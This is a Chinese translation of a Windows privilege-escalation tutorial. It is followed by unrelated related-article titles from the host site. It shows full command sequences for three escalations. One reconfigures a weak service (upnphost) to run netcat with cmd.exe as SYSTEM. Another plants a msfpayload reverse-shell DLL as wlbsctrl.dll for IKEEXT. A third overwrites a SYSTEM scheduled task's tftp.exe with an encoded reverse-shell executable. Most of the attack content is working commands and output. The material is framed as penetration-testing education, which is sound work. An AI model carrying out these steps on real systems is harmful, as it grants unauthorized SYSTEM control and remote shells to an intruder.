        TAG                : 0
        DISPLAY_NAME       : Print Spooler
        DEPENDENCIES       : RPCSS
                           : http
        SERVICE_START_NAME : LocalSystem

我们可以使用 accesschk 检查每一个服务的权限

# We can see the permissions that each user level has, you can also use "accesschk.exe -ucqv *" to list
all services.

C:\> accesschk.exe -ucqv Spooler

Spooler

  R  NT AUTHORITY\Authenticated Users
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  R  BUILTIN\Power Users
        SERVICE_QUERY_STATUS
        SERVICE_QUERY_CONFIG
        SERVICE_INTERROGATE
        SERVICE_ENUMERATE_DEPENDENTS
        SERVICE_START
        SERVICE_USER_DEFINED_CONTROL
        READ_CONTROL
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS

Accesschk 可以自动化的检测我们是否拥有一个 Windows 服务的写入访问权限。作为一个低权限用户,我们通常希望检查结果为 “Authenticated Users”。一定要去检查你的用户属于哪个用户组,举个例子,“Power Users” 被认为是一个低权限用户组(尽管它没有被广泛使用) 

一起来比较一下在 Windows 8 和 Windows XP SP0 上输出的不同

# This is on Windows 8.

C:\Users\b33f\tools\Sysinternals> accesschk.exe -uwcqv "Authenticated Users" *
No matching objects found.

# On a default Windows XP SP0 we can see there is a pretty big security fail.

C:\> accesschk.exe -uwcqv "Authenticated Users" *
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS
		
C:\> accesschk.exe -ucqv SSDPSRV

SSDPSRV

  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\LOCAL SERVICE
        SERVICE_ALL_ACCESS

C:\> accesschk.exe -ucqv upnphost

upnphost

  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\LOCAL SERVICE
        SERVICE_ALL_ACCESS

这个问题在之后的 XP SP2 版本中得到了解决,然而在 SP0 和 SP1 它可以被用作一个通用的本地提权漏洞。通过重新配置该服务,我们可以让它以 SYSTEM 权限运行任何我们指定的二进制文件。 让我们来看看怎么实践操作,在这个例子里该服务将会执行 netcat 并且可以反弹一个 SYSTEM 权限的 shell。其它的操作方法当然也是可能存在的。

C:\> sc qc upnphost

[SC] GetServiceConfig SUCCESS

SERVICE_NAME: upnphost
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\WINDOWS\System32\svchost.exe -k LocalService
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Universal Plug and Play Device Host
        DEPENDENCIES       : SSDPSRV
        SERVICE_START_NAME : NT AUTHORITY\LocalService
		
C:\> sc config upnphost binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
[SC] ChangeServiceConfig SUCCESS

C:\> sc config upnphost obj= ".\LocalSystem" password= ""
[SC] ChangeServiceConfig SUCCESS

C:\> sc qc upnphost

[SC] GetServiceConfig SUCCESS

SERVICE_NAME: upnphost
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Universal Plug and Play Device Host
        DEPENDENCIES       : SSDPSRV
        SERVICE_START_NAME : LocalSystem
		
C:\> net start upnphost

即使服务是不正确配置的,我们大多时候也不能获取该服务完整的控制权限。下图是从 Brett Moore’s 在 Windows 提权方面的渗透测试,图中的任一权限都可以给我们一个 SYSTEM shell

重要的是去记住我们搞定的 session 是属于哪个用户组的,正如先前提到的 “Power Users” 被视为是一个低权限用户组。但 “Power Users” 也有一些属于他们自己的配置漏洞, Mark Russinovich 已经在这个问题上写了非常有趣的文章。 “Power Users” 的力量 ( Mark Russinovich ) 

最后,我们将会检查文件/目录的权限,如果我们不能直接攻击计算机系统,我们就让计算机做所有的繁重工作。由于这方面涉及内容太多,所以我将介绍两种提权漏洞给你,并展示如何去利用它们。一旦你掌握了通用的思路,你将能够在其它场景下应用这些技术。

实例一 

作为第一个示例,我们将复现 GreyHatHacker 上 Parvez 的一篇文章中的方法。“利用低文件夹权限提权”,这是一个很棒的提权思路,我非常推荐大家去阅读。 

这个示例是DLL 劫持中的一个特例。程序通常不能通过它们自身实现功能,它们需要挂载许多自身所需的资源(大多是 DLL 但也有某些特有文件)。如果一个程序或服务从一个我们拥有写权限的目录中装载了文件,那我们就可以借此弹出一个与之相同权限的 shell 通常一个 Windows 应用程序将会使用一个预定义的搜索路径去寻找 DLL 组件,而且它会以特定的顺序检查这些路径。DLL 劫持经常是将一个恶意的 DLL 置于某一搜索路径中,并确保恶意 DLL 会在合法的 DLL 之前被找到。 

以下是在32位操作系统下 DLL 查找的顺序

  • The directory from which the application loaded
  • 32-bit System directory (C:\Windows\System32)
  • 16-bit System directory (C:\Windows\System)
  • Windows directory (C:\Windows)
  • The current working directory (CWD)
  • Directories in the PATH environment variable (system then user)

有时应用程序想要加载的 DLL 可能不在主机上,引起该问题的原因有很多,比如当 DLL 文件只存在于某个未安装的插件或者计算机特性(feature)时。在这种情况下, Parvez 发现某些 Windows 服务会去试图加载默认安装中不存在的 DLL。 

但由于问题中的 DLL 不存在,所以我们将遍历所有路径。作为一个低权限的用户,也许我们可以去放置一个恶意 DLL 在上述路径中的 1-4 中。而路径 5 是行不通的,因为我们正在研究的是 Windows 服务,我们并没有所有目录的写权限 

让我们来看一下如何进行实战,在本例中,我们将会利用需要加载 wlbsctrl.dll 的 IKEEXT (IKE and AuthIP IPsec Keying Modules) 服务

# This is on Windows 7 as low privilege user1.

C:\Users\user1\Desktop> echo %username%

user1

# We have a win here since any non-default directory in "C:\" will give write access to authenticated
users.
		
C:\Users\user1\Desktop> echo %path%

C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Program Files\OpenVPN\bin;C:\Python27

# We can check our access permissions with accesschk or cacls.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"

C:\Python27
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

C:\Users\user1\Desktop> cacls "C:\Python27"

C:\Python27 BUILTIN\Administrators:(ID)F
            BUILTIN\Administrators:(OI)(CI)(IO)(ID)F
            NT AUTHORITY\SYSTEM:(ID)F
            NT AUTHORITY\SYSTEM:(OI)(CI)(IO)(ID)F
            BUILTIN\Users:(OI)(CI)(ID)R
            NT AUTHORITY\Authenticated Users:(ID)C
            NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
			
# Before we go over to action we need to check the status of the IKEEXT service. In this case we can see
it is set to "AUTO_START" so it will launch on boot!
		
C:\Users\user1\Desktop> sc qc IKEEXT

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IKEEXT
        TYPE               : 20  WIN32_SHARE_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\system32\svchost.exe -k netsvcs
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : IKE and AuthIP IPsec Keying Modules
        DEPENDENCIES       : BFE
        SERVICE_START_NAME : LocalSystem

现在必要的条件都已经满足了,我们可以生成一个恶意的 DLL 并弹出一个 shell

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     127.0.0.1        yes       The listen address
LPORT     9988             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' D > 
/root/Desktop/evil.dll

Created by msfpayload (http://www.metasploit.com).
Payload: windows/shell_reverse_tcp
 Length: 314
Options: {"lhost"=>"127.0.0.1", "lport"=>"9988"}

在将恶意 DLL 传送到靶机之后,我们需要将它重命名为 wlbsctrl.dll 并将它移动到 “C:\Python27” 路径下。完成后,我们只需要耐心等待机器被重启(或者我们可以尝试强制重启),之后我们就可以得到一个 SYSTEM shell。

# Again, this is as low privilege user1.

C:\Users\user1\Desktop> dir

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Users\user1\Desktop

02/18/2014  01:49 PM    <DIR>          .
02/18/2014  01:49 PM    <DIR>          ..
04/22/2013  09:39 AM           331,888 accesschk.exe
02/18/2014  12:38 PM            14,336 evil.dll
01/25/2014  12:46 AM            36,864 fubar.exe
01/22/2014  08:17 AM    <DIR>          incognito2
06/30/2011  01:52 PM         1,667,584 ncat.exe
11/22/2013  07:39 PM             1,225 wmic_info.bat
               5 File(s)      2,051,897 bytes
               3 Dir(s)      73,052,160 bytes free

C:\Users\user1\Desktop> copy evil.dll C:\Python27\wlbsctrl.dll

        1 file(s) copied.
		
C:\Users\user1\Desktop> dir C:\Python27

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Python27

02/18/2014  01:53 PM    <DIR>          .
02/18/2014  01:53 PM    <DIR>          ..
10/20/2012  02:52 AM    <DIR>          DLLs
10/20/2012  02:52 AM    <DIR>          Doc
10/20/2012  02:52 AM    <DIR>          include
01/28/2014  03:45 AM    <DIR>          Lib
10/20/2012  02:52 AM    <DIR>          libs
04/10/2012  11:34 PM            40,092 LICENSE.txt
04/10/2012  11:18 PM           310,875 NEWS.txt
04/10/2012  11:31 PM            26,624 python.exe
04/10/2012  11:31 PM            27,136 pythonw.exe
04/10/2012  11:18 PM            54,973 README.txt
10/20/2012  02:52 AM    <DIR>          tcl
10/20/2012  02:52 AM    <DIR>          Tools
04/10/2012  11:31 PM            49,664 w9xpopen.exe
02/18/2014  12:38 PM            14,336 wlbsctrl.dll
               7 File(s)        523,700 bytes
               9 Dir(s)      73,035,776 bytes free

万事俱备,我们只需要等待机器重启。出于演示目的,我在下面截图中是使用管理员指令手动重启该服务

对于我们最后的例子,我们将关注于计划任务。回顾我们之前搜集到的信息,我们有以下条目

HostName:                             B33F
TaskName:                             \LogGrabberTFTP
Next Run Time:                        2/19/2014 9:00:00 AM
Status:                               Ready
Logon Mode:                           Interactive/Background
Last Run Time:                        N/A
Last Result:                          1
Author:                               B33F\b33f
Task To Run:                          E:\GrabLogs\tftp.exe 10.1.1.99 GET log.out E:\GrabLogs\Logs\log.txt
Start In:                             N/A
Comment:                              N/A
Scheduled Task State:                 Enabled
Idle Time:                            Disabled
Power Management:                     Stop On Battery Mode, No Start On Batteries
Run As User:                          SYSTEM
Delete Task If Not Rescheduled:       Enabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule:                             Scheduling data is not available in this format.
Schedule Type:                        Daily
Start Time:                           9:00:00 AM
Start Date:                           2/17/2014
End Date:                             N/A
Days:                                 Every 1 day(s)
Months:                               N/A
Repeat: Every:                        Disabled
Repeat: Until: Time:                  Disabled
Repeat: Until: Duration:              Disabled
Repeat: Stop If Still Running:        Disabled

这看起来像有一个 TFTP 客户端连接到远程主机去搜集某些 log 文件。我们可以看到这个任务每日早9点以 SYSTEM 权限运行,再看看我们是否有这个文件夹的写入权限

C:\Users\user1\Desktop> accesschk.exe -dqv "E:\GrabLogs"

E:\GrabLogs
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTIN\Administrators
        FILE_ALL_ACCESS
  RW NT AUTHORITY\SYSTEM
        FILE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL
  R  BUILTIN\Users
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
		
C:\Users\user1\Desktop> dir "E:\GrabLogs"

 Volume in drive E is More
 Volume Serial Number is FD53-2F00

 Directory of E:\GrabLogs

02/18/2014  11:34 PM    <DIR>          .
02/18/2014  11:34 PM    <DIR>          ..
02/18/2014  11:34 PM    <DIR>          Logs
02/18/2014  09:21 PM           180,736 tftp.exe
               1 File(s)        180,736 bytes
               3 Dir(s)   5,454,602,240 bytes free

显然这是一个严重的配置问题,这个计划任务根本不需要以 SYSTEM 权限执行,但更糟糕的是任何授权的用户都有该目录的写权限。理想情况下,对于一次渗透测试我会抓取一个 TFTP 客户端在里面放一个后门,确保它仍然正常工作,再将其放回靶机。然而出于演示目的,我们可以简单的通过 metasploit 生成一个二进制文件然后直接覆盖它。

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <vlad902@gmail.com>
  sf <stephen_fewer@harmonysecurity.com>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST     127.0.0.1        yes       The listen address
LPORT     9988             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell

root@darkside:~# msfpayload windows/shell_reverse_tcp lhost='127.0.0.1' lport='9988' R | msfencode -t
exe > /root/Desktop/evil-tftp.exe

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

现在工作只剩下上传我们的恶意可执行文件并覆盖掉 “E:\GrabLogs\tftp.exe” 文件。一旦上传成功,我们就可以去休息了,等到明早睡醒就可以得到我们的 shell 。对了,别忘记去检查我们靶机的时间/时区

C:\Users\user1\Desktop> dir

 Volume in drive C has no label.
 Volume Serial Number is 948D-A98F

 Directory of C:\Users\user1\Desktop

02/19/2014  01:36 AM    <DIR>          .
02/19/2014  01:36 AM    <DIR>          ..
04/22/2013  09:39 AM           331,888 accesschk.exe
02/19/2014  01:31 AM            73,802 evil-tftp.exe
01/25/2014  12:46 AM            36,864 fubar.exe
01/22/2014  08:17 AM    <DIR>          incognito2
06/30/2011  01:52 PM         1,667,584 ncat.exe
02/18/2014  12:38 PM            14,336 wlbsctrl.dll
11/22/2013  07:39 PM             1,225 wmic_info.bat
               6 File(s)      2,125,699 bytes
               3 Dir(s)      75,341,824 bytes free
		
C:\Users\user1\Desktop> copy evil-tftp.exe E:\GrabLogs\tftp.exe

Overwrite E:\GrabLogs\tftp.exe? (Yes/No/All): Yes
        1 file(s) copied.

为了证明这次提权,我调快了系统时间。从以下截图中可以看到,在早9点时我们得到了 SYSTEM shell

在思考获取文件/文件夹权限时,这两个示例应该会给你一些寻找漏洞的思路。真正的实战中你可能需要花时间去检查所有的Windows服务、计划任务和开机任务的 binpaths 

我们已经知道了 accesschk 是一种测试工具。

在文章结束之前,我会再给你一些使用 accesschk 的技巧

# When executing any of the sysinternals tools for the first time the user will be presented with a GUI
pop-up to accept the EULA. This is obviously a big problem, however we can add an extra command line flag
to automatically accept the EULA.

accesschk.exe /accepteula ... ... ...

# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\

# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*

最后的一些想法 

本指南旨在成为Windows特权升级的“基础”。如果你想真正掌握这个主题,你需要投入大量的工作和研究。就像所有的渗透测试一样,举一反三是关键,你对目标的了解越多,攻击的途径越多,成功的几率就越大。 还要记住,有时你可能会将你的权限提升到管理员。从管理员到系统的提权是一个无关紧要的问题,你可以始终重新配置一个服务,或者创建一个具有系统级别特权的调度任务。 现在就去实践,然后得到SYSTEM!!

原文链接:http://www.fuzzysecurity.com/tutorials/16.html

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

Windows提权基本原理 的相关文章

  • 高光谱图像处理

    Development of a classification algorithm for efficient handling of multiple classes in sorting systems basesd on hypers
  • ps语义分割_解决实例分割任务中边缘不够精细:PointRend: Image Segmentation as Rendering...

    加入极市专业CV交流群 与6000 来自腾讯 华为 百度 北大 清华 中科院等名企名校视觉开发者互动交流 更有机会与李开复老师等大牛群内互动 同时提供每月大咖直播分享 真实项目需求对接 干货资讯汇总 行业技术交流 关注 极市平台 公众号 回
  • 计算机网络基础知识整理

    计算机网络 用通信设备和线路将处在不同地理位置 操作相对独立的多台计算机连接起来 并配置相应的系统和应用软件 在原本各自独立的计算机之间实现软硬件资源共享和信息传递等功能的系统 计算机网络的功能 数据通信 2 资源共享 3 增加可靠性 4
  • 【技术解析笔记】DDPM解析

    本文为youtube上一个ddpm解析视频的摘录笔记 youtube原视频链接 https www youtube com watch v W O7AZNzbzQ 基本介绍 DDPM指的是Denoising diffusion probal
  • hive - 面试题 - 最近一次购物在一年前(近一年内无购物)

    要求 有表 用户id 订单id 下单日期 该用户符合365天内无交易且当日有交易的数据打标签 如果当天有多条记录 同样打标签 思路 当前订单时间 最近一次的下单时间 gt 365 即最近365天内无订单记录 中间有个问题 一天内多次下单 只
  • 【GCC-RT-Thread】gcc交叉编译 STM32 - RT-Thread

    GCC RT Thread gcc交叉编译 STM32 RT Thread 最近在公司实习 公司想将原来在Windows keil上开发的项目移到Linux 并上RTT操作系统 最近就被安排做了这件事 首先 下载 RT Thread Nan
  • 学习记录396@git clone 只克隆到.git文件

    github上的仓库 但是使用乌龟克隆时只克隆到 git文件和README文件 原因是在我的仓库中 没有选择分支 默认是main分支 但我的项目在master分支 因此加上分支选项处在clone即可 如果是使用命令行clone 需要使用如下
  • python基础 -15- 深浅拷贝

    浅拷贝 data name alex age 18 scores 语文 130 数学 60 英语 98 浅拷贝 data copy data copy 再看一下各自的内存地址 可以发现指向的内存地址不一样 print data的内存地址 i
  • 白盒测试题(13-16道题目+详细代码)

    白盒测试 题 13 根据下列流程图编写程序实现相应分析处理并显示结果 并设计最少的测试数据进行判定覆盖测试 输入数据打印出 输入 x 值 输入 y 值 输出文字 a 和 a 的值 输出文字 b 和 b 的值 其中变量 x y 均须为整型 i
  • 红队靶场内网渗透(从DMZ主机渗透到域内机器)

    目录 一 红队靶场内网渗透 1 靶机工具下载 2 本实验网络拓扑图 3 内网渗透攻击流程 二 环境搭建 1 DMZ区win7 2 内网办公区 3 域控主机 三 开始攻击 1 DMZ区win7渗透 1 1信息收集 1 2收集到的信息 1 3远
  • 安卓手机使用Termux实现gitee云端代码本地化修改

    Termux是什么 Termux是一个Android终端仿真器和Linux环境应用程序 直接工作 无需根目录或设置 额外的软件包可以使用APT软件包管理器来使用 不需要root 有root更方便修改代码 下载地址 Termux 0 99 T
  • 人脸识别(dlib.face_recognition_model_v1 方法 -- 使用resnet模型)

    人脸识别 思路 通过检测面部特征 对该特征与数据存放的特征进行比对 文件结构 文件名 weights 的目录下 resnet模型 dat文件 识别68个关键点模型 dat文件 共两个模型文件 补充 你如果不使用dlib库中自带的HOG人脸检
  • 网络基础 (深信服)

    一 走进网络世界 1 1 1 企业网络环境介绍 计算机网络类型 LAN 本地局域网 Local Area Network 通常指几千米以内的 可通过某种介质互联的计算机 打印机 modem或其他设备的集合 WAN 广 域 网 Wide Ar
  • 【C语言】你还在写void main()吗?我劝你别用,小心出BUG

    目录 前言 C语言标准并不支持void main 用void main 可能会报错 总结 前言 你的教材上是不是经常出现void main 呢 我想说 永远不要写void main 为什么 这种写法普遍存在于我们国内的很多教材 既然出现在教
  • day02-08 python基础语法

    模块一 python基础语法 day2 快速上手 今日概要 课程目标 学习Python最基础的语法知识 可以用代码快速实现一些简单的功能 课程概要 初识编码 密码本 编程初体验 输出 初识数据类型 变量 注释 输入 条件语句 1 编码 密码
  • [编程题]输出元素组成数组的排列组合形式

    题目 一个由有限个不同元素组成的数组的所有组合排列形式 要求排列的顺序以从小到大的顺序排列 按首列排序 首列相同 则按照第二列排序 前两列相同 则以第三列排序 以此顺序递推 输入例子1 1 2 输出例子1 1 2 2 1 例子说明1 输出结
  • 服务器划分多台虚拟pc,pc服务器建立多台虚拟主机

    pc服务器建立多台虚拟主机 内容精选 换一换 虚拟IP主要用在弹性云服务器的主备切换 达到高可用性HA High Availability 的目的 当主服务器发生故障无法对外提供服务时 动态将虚拟IP切换到备服务器 继续对外提供服务 了解更
  • 使用LineProfiler找出代码的计算瓶颈

    实现同样一个功能 笔者运行需要11秒 而同窗的运行仅需要1秒不到 但是实际实现逻辑是类似的 所以需要使用性能分析工具对瓶颈进行分析 安装 命令行安装 pip install line profiler 本地下载后安装 https www l
  • IDEA 2020.1汉化问题解决办法

    IDEA2020 1 如何汉化 百度网盘链接 汉化版本 zh 201 6668 113 链接 https pan baidu com s 12Fq5QqgeRRdu6 2XIu37tA 提取码 Dl12 安装步骤 第一种 如果插件中心可以直
  • Python 的数据可视化之常用的那些图的简单示例

    参考网站 https pyecharts org zh cn intro 柱形图 折线图 饼图 词云 动态散点图 关系图 散点图 树图 1 柱形图 rom pyecharts charts import Bar from pyecharts

随机推荐

  • 关于毛刺

    关于毛刺 http blog csdn net guqian110 article details 17304065 目录 1 毛刺的产生原因 冒险和竞争 使用分立元件设计电路时 由于PCB在走线时 存在分布电容和电容 所以在几ns内毛刺被
  • colorui radio 样式_uni-app 修改 radio/checkbox/switch 组件样式

    我们在用 uni app 开发前端页面时 往往需要修改一些组件的默认样式 特别是颜色 那么如何修改 radio checkbox switch 单选框 复选框 开关 的样式呢 可以通过覆盖样式的方式实现 下面以单选框 radio 为例 基于
  • qt学习笔记5:资源文件的添加、模态和非模态对话框创建

    这次创建的时候勾选ui创建界面 打开 ui文件 在这里就可以通过拖拽的方式对内容进行实现 可以在 ui中进行简单界面设计一些拖拽生成需要的控件 然后在 cpp中进行代码实现 添加资源 比如要添加图片 首先将资源文件放到文件项目中 可以通过右
  • 二 Qt Remote Objects (REPC 编译器)

    REPC 概述 Replica Compiler repc 基于 API 定义文件生成QObject头文件 该文件 称为 rep 文件 使用特定的 文本 语法来描述 API 文件扩展名为 rep 是 Replica 的缩写 当这些文件被re
  • 语义分割论文-DeepLab系列

    语义分割论文 DeepLab系列 DeepLabv1 收录 ICLR 2015 International Conference on Learning Representations 代码 github Caffe Semantic im
  • CDN防御与高防服务器有什么区别

    CDN防御与高防服务器的区别 1 本质不同 高防服务器是指独立单个硬防防御50G以上的服务 而CDN防御是指通过在现有的Internet中增加一层新的网络架构 2 两者的防御方式不同 高防服务器采用单机防御或者集群防御 而CDN采用多节点分
  • VTD安装教程

    VTD安装 1 安装Nvidia显卡驱动 2 安装依赖包 3 安装license管理工具 helium 4 安装VTD软件 4 1 安装包内容 4 2 安装流程 5 配置license 运行软件 6 配置license管理工具开机自启动 1
  • 如何使用postman做接口测试

    常用的接口测试工具主要有以下几种 Postman 简单方便的接口调试工具 便于分享和协作 具有接口调试 接口集管理 环境配置 参数化 断言 批量执行 录制接口 Mock Server 接口文档 接口监控等功能 JMeter 开源接口测试及压
  • DropDownList 绑定数据

    如何使用DropDownList 控件绑定数据呢 今天我们来介绍一下比较常用的一种方法 前后台结合方式 首先 我们需要拉一个DropDownList 控件 然后 通过控件配置SqlDataSource数据源 选择合适的数据表 接着 设置Da
  • vatic视频标注工具的安装使用及错误解决

    1 安装 基于Ubuntu16 04 sudo pip install cython 0 20 wget http mit edu vondrick vatic vatic install sh 注 vatic install sh可能下载
  • 如何使用java连接MySQL数据库

    如何使用java连接MySQL数据库 编者 芊默 使用的MySQL版本 8 0 19 序言 因为数据库厂商有很多种 为了能够统一让java程序员使用更方便 sun公司编写了一套JDBC接口用于连接数据库 但是只有JDBC接口我们仍然是连接不
  • 聊一聊,这些年我用Python爬虫挣钱的那些事

    1 最典型的就是找爬虫外包活儿 这个真是体力活 最早是在国外各个freelancer网站上找适合个人做的小项目 看见了就赶紧去bid一下 把价格标得死死的 由于是挣dollar 当时换算成人民币是1 7 5左右感觉还是换算 别人标几百刀 我
  • OpenGL:gl_ClipDistance和gl_CullDiatance

    学到了OpenGL中的用户裁剪和前剪切 记录下gl ClipDistance和gl CullDiatance的用法 gl ClipDiatance 输出的裁剪距离将和图元进行线性插值 插值距离小于0 则图元部分将剪切掉 gl CullDia
  • Python数据预处理

    学 目录 1 数据表的基本信息查看 2 查看数据表的大小 3 数据格式的查看 4 查看具体的数据分布 二 缺失值处理 1 缺失值检查 2 缺失值删除 3 缺失值替换 填充 三 重复值处理 1 发现重复值 四 异常值的检测与处理 1 检测异常
  • Linux错误 ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)

    ERROR 1045 28000 Access denied for user root localhost using password YES 翻译 错误1045 28000 对用户 root 本地主机拒绝访问 使用密码 是 一般这个错
  • Java String总结

    文章目录 创建String 字符串比较 字符串常量池 直接赋值 构造方法 理解字符串不可变 反射 特殊手段 char 和String StringBuffer和StringBuilder String API 创建String 常见的构造方
  • 实验五_linux进程控制,实验五Linux进程管理

    实验五 Linux进程管理 一 实验目的 1 进行系统进程管理 2 周期性任务安排 二 实验内容 1 进程状态查看 2 控制系统中运行的进程 3 安排一次性和周期性自动执行的后台进程 三 实验练习 任务一 进程管理 实验内容 1 查看系统中
  • Go语言 context的源码分析与典型使用(WithCancel,WithTimeout,WithDeadline,WithValue)

    文章目录 context原理 Context基本结构 WithCancel WithTimeout WithDeadline WithValue 代码实现 context原理 context 主要用来在 goroutine 之间传递上下文信
  • C语言学习打卡11.22

    上一周学习内容 函数 初学函数笔记 返回类型 一个函数可以返回一个值 return type 是函数返回的值的数据类型 有些函数执行所需的操作而不返回值 在这种情况下 return type 是关键字 void 函数名称 这是函数的实际名称
  • Windows提权基本原理

    前言 没有多少人谈论在Windows下提权 是一件让人遗憾的事 我想 没有人这么做的理由有以下几点 在渗透测试项目中 客户需要的验证就是一个低权限shell 在演示环境 你经常就会得到管理员帐户 meterpreter使你变得懒惰 gets